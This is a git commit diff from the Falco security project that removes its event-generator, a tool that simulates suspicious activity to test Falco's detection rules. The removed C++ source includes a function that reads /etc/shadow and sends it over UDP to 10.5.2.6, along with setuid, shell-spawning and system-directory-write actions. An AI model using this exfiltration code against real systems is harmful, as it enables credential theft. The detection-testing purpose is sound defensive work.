mirror of
https://github.com/falcosecurity/falco.git
synced 2025-08-01 06:29:47 +00:00
update(docker/event-generator): remove the event-generator from the Falco repo
Signed-off-by: Leonardo Grasso <me@leonardograsso.com>
This commit is contained in:
parent
26621ca381
commit
9915b9077c
6
.gitignore
vendored
6
.gitignore
vendored
@ -16,12 +16,6 @@ userspace/falco/lua/lpeg.so
|
||||
userspace/engine/lua/lyaml
|
||||
userspace/engine/lua/lyaml.lua
|
||||
|
||||
docker/event-generator/event_generator
|
||||
docker/event-generator/mysqld
|
||||
docker/event-generator/httpd
|
||||
docker/event-generator/sha1sum
|
||||
docker/event-generator/vipw
|
||||
|
||||
.vscode/*
|
||||
|
||||
.luacheckcache
|
||||
|
@ -1,6 +1,6 @@
|
||||
# Falco Dockerfiles
|
||||
|
||||
This directory contains the various ways to package Falco as a container.
|
||||
This directory contains various ways to package Falco as a container.
|
||||
|
||||
## Currently Supported Images
|
||||
|
||||
@ -9,7 +9,6 @@ This directory contains the various ways to package Falco as a container.
|
||||
| [falcosecurity/falco:latest](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/stable | Falco (DEB built from git tag or from the master) with all the building toolchain. |
|
||||
| [falcosecurity/falco:latest-slim](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master-slim](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/slim | Falco (DEB build from git tag or from the master) without the building toolchain. |
|
||||
| [falcosecurity/falco:latest-minimal](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master-minimal](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/minimal | Falco (TGZ built from git tag or from the master) without the building toolchain. |
|
||||
| [falcosecurity/falco-event-generator:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-event-generator) | docker/event-generator | Event generator tool to simulate events Falco catches. |
|
||||
| [falcosecurity/falco-builder:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-builder) | docker/builder | The complete build tool chain for compiling Falco from source. See [the documentation](https://falco.org/docs/source/) for more details on building from source. Used to build Falco (CI). |
|
||||
| [falcosecurity/falco-tester:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-tester) | docker/tester | Container image for running the Falco test suite. Used to run Falco integration tests (CI). |
|
||||
| _to not be published_ | docker/local | Built on-the-fly and used by falco-tester. |
|
||||
|
@ -1,10 +0,0 @@
|
||||
FROM alpine:latest
|
||||
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
|
||||
RUN apk add --no-cache bash g++ curl
|
||||
COPY ./event_generator.cpp /usr/local/bin
|
||||
COPY ./docker-entrypoint.sh ./k8s_event_generator.sh /
|
||||
COPY ./yaml /yaml
|
||||
RUN mkdir -p /var/lib/rpm
|
||||
RUN g++ --std=c++0x /usr/local/bin/event_generator.cpp -o /usr/local/bin/event_generator
|
||||
RUN curl -o /usr/local/bin/kubectl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl && chmod +x /usr/local/bin/kubectl
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
@ -1,18 +0,0 @@
|
||||
#
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
image:
|
||||
docker build -t sysdig/falco-event-generator:latest .
|
@ -1,21 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
CMD=${1:-syscall}
|
||||
|
||||
shift
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
if [[ "$CMD" == "syscall" ]]; then
|
||||
/usr/local/bin/event_generator
|
||||
elif [[ "$CMD" == "k8s_audit" ]]; then
|
||||
. k8s_event_generator.sh
|
||||
elif [[ "$CMD" == "bash" ]]; then
|
||||
bash
|
||||
else
|
||||
echo "Unknown command. Can be one of"
|
||||
echo " \"syscall\": generate falco syscall-related activity"
|
||||
echo " \"k8s_audit\": generate falco k8s audit-related activity"
|
||||
echo " \"bash\": spawn a shell"
|
||||
exit 1
|
||||
fi
|
@ -1,23 +0,0 @@
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: falco-event-generator-k8saudit
|
||||
labels:
|
||||
app: falco-event-generator-k8saudit
|
||||
namespace: falco-event-generator
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app: falco-event-generator-k8saudit
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app: falco-event-generator-k8saudit
|
||||
spec:
|
||||
serviceAccount: falco-event-generator
|
||||
containers:
|
||||
- name: falco-event-generator
|
||||
image: falcosecurity/falco-event-generator
|
||||
imagePullPolicy: Always
|
||||
args: ["k8s_audit"]
|
@ -1,71 +0,0 @@
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: falco-event-generator
|
||||
rules:
|
||||
- apiGroups:
|
||||
- ""
|
||||
resources:
|
||||
- configmaps
|
||||
- services
|
||||
- serviceaccounts
|
||||
- pods
|
||||
verbs:
|
||||
- list
|
||||
- get
|
||||
- create
|
||||
- delete
|
||||
- apiGroups:
|
||||
- apps
|
||||
- extensions
|
||||
resources:
|
||||
- deployments
|
||||
verbs:
|
||||
- list
|
||||
- get
|
||||
- create
|
||||
- delete
|
||||
- apiGroups:
|
||||
- rbac.authorization.k8s.io
|
||||
resources:
|
||||
- roles
|
||||
- rolebindings
|
||||
verbs:
|
||||
- get
|
||||
- list
|
||||
- create
|
||||
- delete
|
||||
# These are only so the event generator can create roles that have these properties.
|
||||
# It will result in a falco alert for the rules "ClusterRole With Wildcard Created", "ClusterRole With Pod Exec Created"
|
||||
- apiGroups:
|
||||
- ""
|
||||
resources:
|
||||
- pods/exec
|
||||
verbs:
|
||||
- get
|
||||
- apiGroups:
|
||||
- ""
|
||||
resources:
|
||||
- '*'
|
||||
verbs:
|
||||
- get
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: falco-event-generator
|
||||
namespace: falco-eg-sandbox
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: falco-event-generator
|
||||
namespace: falco-event-generator
|
||||
roleRef:
|
||||
kind: ClusterRole
|
||||
name: falco-event-generator
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: falco-event-generator
|
||||
namespace: falco-event-generator
|
@ -1,20 +0,0 @@
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
metadata:
|
||||
name: falco-event-generator-syscall
|
||||
labels:
|
||||
app: falco-event-generator-syscall
|
||||
namespace: falco-event-generator
|
||||
spec:
|
||||
selector:
|
||||
matchLabels:
|
||||
name: falco-event-generator-syscall
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: falco-event-generator-syscall
|
||||
spec:
|
||||
containers:
|
||||
- name: falco-event-generator
|
||||
image: falcosecurity/falco-event-generator
|
||||
args: ["syscall"]
|
@ -1,535 +0,0 @@
|
||||
/*
|
||||
Copyright (C) 2019 The Falco Authors.
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
*/
|
||||
|
||||
#include <cstdio>
|
||||
#include <utility>
|
||||
#include <map>
|
||||
#include <set>
|
||||
#include <string>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <cstring>
|
||||
#include <cstdlib>
|
||||
#include <unistd.h>
|
||||
#include <getopt.h>
|
||||
#include <errno.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <pwd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
using namespace std;
|
||||
|
||||
void usage(char *program)
|
||||
{
|
||||
printf("Usage %s [options]\n\n", program);
|
||||
printf("Options:\n");
|
||||
printf(" -h/--help: show this help\n");
|
||||
printf(" -a/--action: actions to perform. Can be one of the following:\n");
|
||||
printf(" write_binary_dir Write to files below /bin\n");
|
||||
printf(" write_etc Write to files below /etc\n");
|
||||
printf(" read_sensitive_file Read a sensitive file\n");
|
||||
printf(" read_sensitive_file_after_startup As a trusted program, wait a while,\n");
|
||||
printf(" then read a sensitive file\n");
|
||||
printf(" write_rpm_database Write to files below /var/lib/rpm\n");
|
||||
printf(" spawn_shell Run a shell (bash)\n");
|
||||
printf(" Used by spawn_shell_under_httpd below\n");
|
||||
printf(" spawn_shell_under_httpd Run a shell (bash) under a httpd process\n");
|
||||
printf(" db_program_spawn_process As a database program, try to spawn\n");
|
||||
printf(" another program\n");
|
||||
printf(" modify_binary_dirs Modify a file below /bin\n");
|
||||
printf(" mkdir_binary_dirs Create a directory below /bin\n");
|
||||
printf(" change_thread_namespace Change namespace\n");
|
||||
printf(" system_user_interactive Change to a system user and try to\n");
|
||||
printf(" run an interactive command\n");
|
||||
printf(" network_activity Open network connections\n");
|
||||
printf(" (used by system_procs_network_activity below)\n");
|
||||
printf(" system_procs_network_activity Open network connections as a program\n");
|
||||
printf(" that should not perform network actions\n");
|
||||
printf(" non_sudo_setuid Setuid as a non-root user\n");
|
||||
printf(" create_files_below_dev Create files below /dev\n");
|
||||
printf(" exec_ls execve() the program ls\n");
|
||||
printf(" (used by user_mgmt_binaries, db_program_spawn_process)\n");
|
||||
printf(" user_mgmt_binaries Become the program \"vipw\", which triggers\n");
|
||||
printf(" rules related to user management programs\n");
|
||||
printf(" exfiltration Read /etc/shadow and send it via udp to a\n");
|
||||
printf(" specific address and port\n");
|
||||
printf(" all All of the above\n");
|
||||
printf(" The action can also be specified via the environment variable EVENT_GENERATOR_ACTIONS\n");
|
||||
printf(" as a colon-separated list\n");
|
||||
printf(" if specified, -a/--action overrides any environment variables\n");
|
||||
printf(" -i/--interval: Number of seconds between actions\n");
|
||||
printf(" -o/--once: Perform actions once and exit\n");
|
||||
}
|
||||
|
||||
void open_file(const char *filename, const char *flags)
|
||||
{
|
||||
FILE *f = fopen(filename, flags);
|
||||
if(f)
|
||||
{
|
||||
fclose(f);
|
||||
}
|
||||
else
|
||||
{
|
||||
fprintf(stderr, "Could not open %s for writing: %s\n", filename, strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
void exfiltration()
|
||||
{
|
||||
ifstream shadow;
|
||||
|
||||
shadow.open("/etc/shadow");
|
||||
|
||||
printf("Reading /etc/shadow and sending to 10.5.2.6:8197...\n");
|
||||
|
||||
if(!shadow.is_open())
|
||||
{
|
||||
fprintf(stderr, "Could not open /etc/shadow for reading: %s", strerror(errno));
|
||||
return;
|
||||
}
|
||||
|
||||
string line;
|
||||
string shadow_contents;
|
||||
while(getline(shadow, line))
|
||||
{
|
||||
shadow_contents += line;
|
||||
shadow_contents += "\n";
|
||||
}
|
||||
|
||||
int rc;
|
||||
ssize_t sent;
|
||||
int sock = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
struct sockaddr_in dest;
|
||||
|
||||
dest.sin_family = AF_INET;
|
||||
dest.sin_port = htons(8197);
|
||||
inet_aton("10.5.2.6", &(dest.sin_addr));
|
||||
|
||||
if((rc = connect(sock, (struct sockaddr *)&dest, sizeof(dest))) != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not bind listening socket to dest: %s\n", strerror(errno));
|
||||
return;
|
||||
}
|
||||
|
||||
if((sent = send(sock, shadow_contents.c_str(), shadow_contents.size(), 0)) != shadow_contents.size())
|
||||
{
|
||||
fprintf(stderr, "Could not send shadow contents via udp datagram: %s\n", strerror(errno));
|
||||
return;
|
||||
}
|
||||
|
||||
close(sock);
|
||||
}
|
||||
|
||||
void touch(const char *filename)
|
||||
{
|
||||
open_file(filename, "w");
|
||||
}
|
||||
|
||||
void read(const char *filename)
|
||||
{
|
||||
open_file(filename, "r");
|
||||
}
|
||||
|
||||
void become_user(const char *user)
|
||||
{
|
||||
struct passwd *pw;
|
||||
pw = getpwnam(user);
|
||||
if(pw == NULL)
|
||||
{
|
||||
fprintf(stderr, "Could not find user information for \"%s\" user: %s\n", user, strerror(errno));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int rc = setuid(pw->pw_uid);
|
||||
|
||||
if(rc != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not change user to \"%s\" (uid %u): %s\n", user, pw->pw_uid, strerror(errno));
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
void spawn(const char *cmd, char **argv, char **env)
|
||||
{
|
||||
pid_t child;
|
||||
|
||||
// Fork a process, that way proc.duration is reset
|
||||
if((child = fork()) == 0)
|
||||
{
|
||||
execve(cmd, argv, env);
|
||||
fprintf(stderr, "Could not exec to spawn %s: %s\n", cmd, strerror(errno));
|
||||
}
|
||||
else
|
||||
{
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
}
|
||||
}
|
||||
|
||||
void respawn(const char *cmd, const char *action, const char *interval)
|
||||
{
|
||||
char *argv[] = {(char *)cmd,
|
||||
(char *)"--action", (char *)action,
|
||||
(char *)"--interval", (char *)interval,
|
||||
(char *)"--once", NULL};
|
||||
|
||||
char *env[] = {NULL};
|
||||
|
||||
spawn(cmd, argv, env);
|
||||
}
|
||||
|
||||
void write_binary_dir()
|
||||
{
|
||||
printf("Writing to /bin/created-by-event-generator-sh...\n");
|
||||
touch("/bin/created-by-event-generator-sh");
|
||||
}
|
||||
|
||||
void write_etc()
|
||||
{
|
||||
printf("Writing to /etc/created-by-event-generator-sh...\n");
|
||||
touch("/etc/created-by-event-generator-sh");
|
||||
}
|
||||
|
||||
void read_sensitive_file()
|
||||
{
|
||||
printf("Reading /etc/shadow...\n");
|
||||
read("/etc/shadow");
|
||||
}
|
||||
|
||||
void read_sensitive_file_after_startup()
|
||||
{
|
||||
printf("Becoming the program \"httpd\", sleeping 6 seconds and reading /etc/shadow...\n");
|
||||
respawn("./httpd", "read_sensitive_file", "6");
|
||||
}
|
||||
|
||||
void write_rpm_database()
|
||||
{
|
||||
printf("Writing to /var/lib/rpm/created-by-event-generator-sh...\n");
|
||||
touch("/var/lib/rpm/created-by-event-generator-sh");
|
||||
}
|
||||
|
||||
void spawn_shell()
|
||||
{
|
||||
printf("Spawning a shell to run \"ls > /dev/null\" using system()...\n");
|
||||
int rc;
|
||||
|
||||
if((rc = system("ls > /dev/null")) != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not run ls > /dev/null in a shell: %s\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
void spawn_shell_under_httpd()
|
||||
{
|
||||
printf("Becoming the program \"httpd\" and then spawning a shell\n");
|
||||
respawn("./httpd", "spawn_shell", "0");
|
||||
}
|
||||
|
||||
void db_program_spawn_process()
|
||||
{
|
||||
printf("Becoming the program \"mysql\" and then running ls\n");
|
||||
respawn("./mysqld", "exec_ls", "0");
|
||||
}
|
||||
|
||||
void modify_binary_dirs()
|
||||
{
|
||||
printf("Moving /bin/true to /bin/true.event-generator-sh and back...\n");
|
||||
|
||||
if(rename("/bin/true", "/bin/true.event-generator-sh") != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not rename \"/bin/true\" to \"/bin/true.event-generator-sh\": %s\n", strerror(errno));
|
||||
}
|
||||
else
|
||||
{
|
||||
if(rename("/bin/true.event-generator-sh", "/bin/true") != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not rename \"/bin/true.event-generator-sh\" to \"/bin/true\": %s\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void mkdir_binary_dirs()
|
||||
{
|
||||
printf("Creating directory /bin/directory-created-by-event-generator-sh...\n");
|
||||
if(mkdir("/bin/directory-created-by-event-generator-sh", 0644) != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not create directory \"/bin/directory-created-by-event-generator-sh\": %s\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
void change_thread_namespace()
|
||||
{
|
||||
printf("Calling setns() to change namespaces...\n");
|
||||
printf("NOTE: does not result in a falco notification in containers, unless container run with --privileged or --security-opt seccomp=unconfined\n");
|
||||
// It doesn't matter that the arguments to setns are
|
||||
// bogus. It's the attempt to call it that will trigger the
|
||||
// rule.
|
||||
setns(0, 0);
|
||||
}
|
||||
|
||||
void system_user_interactive()
|
||||
{
|
||||
pid_t child;
|
||||
|
||||
printf("Forking a child that becomes user=daemon and then tries to run /bin/login...\n");
|
||||
// Fork a child and do everything in the child.
|
||||
if((child = fork()) == 0)
|
||||
{
|
||||
become_user("daemon");
|
||||
char *argv[] = {(char *)"/bin/login", NULL};
|
||||
char *env[] = {NULL};
|
||||
spawn("/bin/login", argv, env);
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
{
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
}
|
||||
}
|
||||
|
||||
void network_activity()
|
||||
{
|
||||
printf("Connecting a udp socket to 10.2.3.4:8192...\n");
|
||||
int rc;
|
||||
int sock = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
struct sockaddr_in localhost;
|
||||
|
||||
localhost.sin_family = AF_INET;
|
||||
localhost.sin_port = htons(8192);
|
||||
inet_aton("10.2.3.4", &(localhost.sin_addr));
|
||||
|
||||
if((rc = connect(sock, (struct sockaddr *)&localhost, sizeof(localhost))) != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
|
||||
return;
|
||||
}
|
||||
|
||||
close(sock);
|
||||
}
|
||||
|
||||
void system_procs_network_activity()
|
||||
{
|
||||
printf("Becoming the program \"sha1sum\" and then performing network activity\n");
|
||||
respawn("./sha1sum", "network_activity", "0");
|
||||
}
|
||||
|
||||
void non_sudo_setuid()
|
||||
{
|
||||
pid_t child;
|
||||
|
||||
printf("Forking a child that becomes \"daemon\" user and then \"root\"...\n");
|
||||
|
||||
// Fork a child and do everything in the child.
|
||||
if((child = fork()) == 0)
|
||||
{
|
||||
// First setuid to something non-root. Then try to setuid back to root.
|
||||
become_user("daemon");
|
||||
become_user("root");
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
{
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
}
|
||||
}
|
||||
|
||||
void create_files_below_dev()
|
||||
{
|
||||
printf("Creating /dev/created-by-event-generator-sh...\n");
|
||||
touch("/dev/created-by-event-generator-sh");
|
||||
}
|
||||
|
||||
void exec_ls()
|
||||
{
|
||||
char *argv[] = {(char *)"/bin/ls", NULL};
|
||||
char *env[] = {NULL};
|
||||
spawn("/bin/ls", argv, env);
|
||||
}
|
||||
|
||||
void user_mgmt_binaries()
|
||||
{
|
||||
printf("Becoming the program \"vipw\" and then running the program /bin/ls\n");
|
||||
printf("NOTE: does not result in a falco notification in containers\n");
|
||||
respawn("./vipw", "exec_ls", "0");
|
||||
}
|
||||
|
||||
typedef void (*action_t)();
|
||||
|
||||
map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
|
||||
{"write_etc", write_etc},
|
||||
{"read_sensitive_file", read_sensitive_file},
|
||||
{"read_sensitive_file_after_startup", read_sensitive_file_after_startup},
|
||||
{"write_rpm_database", write_rpm_database},
|
||||
{"spawn_shell", spawn_shell},
|
||||
{"spawn_shell_under_httpd", spawn_shell_under_httpd},
|
||||
{"db_program_spawn_process", db_program_spawn_process},
|
||||
{"modify_binary_dirs", modify_binary_dirs},
|
||||
{"mkdir_binary_dirs", mkdir_binary_dirs},
|
||||
{"change_thread_namespace", change_thread_namespace},
|
||||
{"system_user_interactive", system_user_interactive},
|
||||
{"network_activity", network_activity},
|
||||
{"system_procs_network_activity", system_procs_network_activity},
|
||||
{"non_sudo_setuid", non_sudo_setuid},
|
||||
{"create_files_below_dev", create_files_below_dev},
|
||||
{"exec_ls", exec_ls},
|
||||
{"user_mgmt_binaries", user_mgmt_binaries},
|
||||
{"exfiltration", exfiltration}};
|
||||
|
||||
// Some actions don't directly result in suspicious behavior. These
|
||||
// actions are excluded from the ones run with -a all.
|
||||
set<string> exclude_from_all_actions = {"spawn_shell", "exec_ls", "network_activity"};
|
||||
|
||||
void create_symlinks(const char *program)
|
||||
{
|
||||
int rc;
|
||||
|
||||
// Some actions depend on this program being re-run as
|
||||
// different program names like 'mysqld', 'httpd', etc. This
|
||||
// sets up all the required symlinks.
|
||||
const char *progs[] = {"./httpd", "./mysqld", "./sha1sum", "./vipw", NULL};
|
||||
|
||||
for(unsigned int i = 0; progs[i] != NULL; i++)
|
||||
{
|
||||
unlink(progs[i]);
|
||||
|
||||
if((rc = symlink(program, progs[i])) != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not link \"./event_generator\" to \"%s\": %s\n", progs[i], strerror(errno));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void run_actions(map<string, action_t> &actions, int interval, bool once)
|
||||
{
|
||||
while(true)
|
||||
{
|
||||
for(auto action : actions)
|
||||
{
|
||||
printf("***Action %s\n", action.first.c_str());
|
||||
action.second();
|
||||
sleep(interval);
|
||||
}
|
||||
if(once)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
map<string, action_t> actions;
|
||||
int op;
|
||||
int long_index = 0;
|
||||
int interval = 1;
|
||||
bool once = false;
|
||||
map<string, action_t>::iterator it;
|
||||
|
||||
static struct option long_options[] =
|
||||
{
|
||||
{"help", no_argument, 0, 'h'},
|
||||
{"action", required_argument, 0, 'a'},
|
||||
{"interval", required_argument, 0, 'i'},
|
||||
{"once", no_argument, 0, 'o'},
|
||||
|
||||
{0, 0}};
|
||||
|
||||
//
|
||||
// Parse the args
|
||||
//
|
||||
while((op = getopt_long(argc, argv,
|
||||
"ha:i:l:o",
|
||||
long_options, &long_index)) != -1)
|
||||
{
|
||||
switch(op)
|
||||
{
|
||||
case 'h':
|
||||
usage(argv[0]);
|
||||
exit(1);
|
||||
case 'a':
|
||||
// "all" is already implied
|
||||
if(strcmp(optarg, "all") != 0)
|
||||
{
|
||||
if((it = defined_actions.find(optarg)) == defined_actions.end())
|
||||
{
|
||||
fprintf(stderr, "No action with name \"%s\" known, exiting.\n", optarg);
|
||||
exit(1);
|
||||
}
|
||||
actions.insert(*it);
|
||||
}
|
||||
break;
|
||||
case 'i':
|
||||
interval = atoi(optarg);
|
||||
break;
|
||||
case 'o':
|
||||
once = true;
|
||||
break;
|
||||
default:
|
||||
usage(argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// Also look for actions in the environment. If specified, they
|
||||
// override any specified on the command line.
|
||||
//
|
||||
char *env_action = getenv("EVENT_GENERATOR_ACTIONS");
|
||||
|
||||
if(env_action)
|
||||
{
|
||||
actions.clear();
|
||||
|
||||
string envs(env_action);
|
||||
istringstream ss(envs);
|
||||
string item;
|
||||
while(std::getline(ss, item, ':'))
|
||||
{
|
||||
if((it = defined_actions.find(item)) == defined_actions.end())
|
||||
{
|
||||
fprintf(stderr, "No action with name \"%s\" known, exiting.\n", item.c_str());
|
||||
exit(1);
|
||||
}
|
||||
actions.insert(*it);
|
||||
}
|
||||
}
|
||||
|
||||
if(actions.size() == 0)
|
||||
{
|
||||
for(auto &act : defined_actions)
|
||||
{
|
||||
if(exclude_from_all_actions.find(act.first) == exclude_from_all_actions.end())
|
||||
{
|
||||
actions.insert(act);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
// Only create symlinks when running as the program event_generator
|
||||
if(strstr(argv[0], "generator"))
|
||||
{
|
||||
create_symlinks(argv[0]);
|
||||
}
|
||||
|
||||
run_actions(actions, interval, once);
|
||||
}
|
@ -1,60 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# You can pass a specific falco rule name and only yaml files matching
|
||||
# that rule will be considered. The default is "all", meaning all yaml
|
||||
# files will be applied.
|
||||
|
||||
RULE=${1:-all}
|
||||
|
||||
# Replace any '/' in RULES with a '.' and any space with a dash. (K8s
|
||||
# label values can not contain slashes/spaces)
|
||||
RULE=$(echo "$RULE" | tr '/ ' '.-')
|
||||
|
||||
echo "***Testing kubectl configuration..."
|
||||
kubectl version --short
|
||||
|
||||
while true; do
|
||||
|
||||
# Delete all resources in the falco-eg-sandbox namespace
|
||||
echo "***Deleting all resources in falco-eg-sandbox namespace..."
|
||||
kubectl delete --all configmaps -n falco-eg-sandbox
|
||||
kubectl delete --all deployments -n falco-eg-sandbox
|
||||
kubectl delete --all services -n falco-eg-sandbox
|
||||
kubectl delete --all roles -n falco-eg-sandbox
|
||||
kubectl delete --all serviceaccounts -n falco-eg-sandbox
|
||||
|
||||
# We don't delete all rolebindings in the falco-eg-sandbox
|
||||
# namespace, as that would also delete the rolebinding for the
|
||||
# event generator itself.
|
||||
kubectl delete rolebinding vanilla-role-binding -n falco-eg-sandbox || true
|
||||
|
||||
for file in yaml/*.yaml; do
|
||||
|
||||
MATCH=0
|
||||
if [[ "${RULE}" == "all" ]]; then
|
||||
MATCH=1
|
||||
else
|
||||
RET=$(grep -E "falco.rules:.*${RULE}" $file || true)
|
||||
if [[ "$RET" != "" ]]; then
|
||||
MATCH=1
|
||||
fi
|
||||
fi
|
||||
|
||||
if [[ $MATCH == 1 ]]; then
|
||||
MESSAGES=$(grep -E 'message' $file | cut -d: -f2 | tr '\n' ',')
|
||||
RULES=$(grep -E 'falco.rules' $file | cut -d: -f2 | tr '\n' ',')
|
||||
|
||||
# The message uses dashes in place of spaces, convert them back to spaces
|
||||
MESSAGES=$(echo "$MESSAGES" | tr '-' ' ' | sed -e 's/ *//' | sed -e 's/,$//')
|
||||
RULES=$(echo "$RULES" | tr '-' ' '| tr '.' '/' | sed -e 's/ *//' | sed -e 's/,$//')
|
||||
|
||||
echo "***$MESSAGES (Rule(s) $RULES)..."
|
||||
kubectl apply -f $file -n falco-eg-sandbox
|
||||
sleep 2
|
||||
fi
|
||||
done
|
||||
|
||||
sleep 10
|
||||
done
|
@ -1,15 +0,0 @@
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
metadata:
|
||||
name: private-creds-configmap
|
||||
labels:
|
||||
app.kubernetes.io/name: private-creds-configmap
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: Create.Modify-Configmap-With-Private-Credentials
|
||||
message: Creating-configmap-with-private-credentials
|
||||
data:
|
||||
ui.properties: |
|
||||
color.good=purple
|
||||
color.bad=yellow
|
||||
allow.textmode=true
|
||||
password=some_secret_password
|
@ -1,24 +0,0 @@
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: disallowed-pod-deployment
|
||||
labels:
|
||||
app.kubernetes.io/name: disallowed-pod-deployment
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: Create-Disallowed-Pod
|
||||
message: Creating-pod-with-image-outside-of-allowed-images
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app.kubernetes.io/name: disallowed-pod-busybox
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app.kubernetes.io/name: disallowed-pod-busybox
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
spec:
|
||||
containers:
|
||||
- name: busybox
|
||||
image: busybox
|
||||
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
|
@ -1,25 +0,0 @@
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: hostnetwork-deployment
|
||||
labels:
|
||||
app.kubernetes.io/name: hostnetwork-deployment
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: Create-HostNetwork-Pod
|
||||
message: Creating-deployment-with-hostNetwork-true-pod
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app.kubernetes.io/name: hostnetwork-busybox
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app.kubernetes.io/name: hostnetwork-busybox
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
spec:
|
||||
hostNetwork: true
|
||||
containers:
|
||||
- name: busybox
|
||||
image: busybox
|
||||
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
|
@ -1,15 +0,0 @@
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: nodeport-service
|
||||
labels:
|
||||
app.kubernetes.io/name: nodeport-service
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: Create-NodePort-Service
|
||||
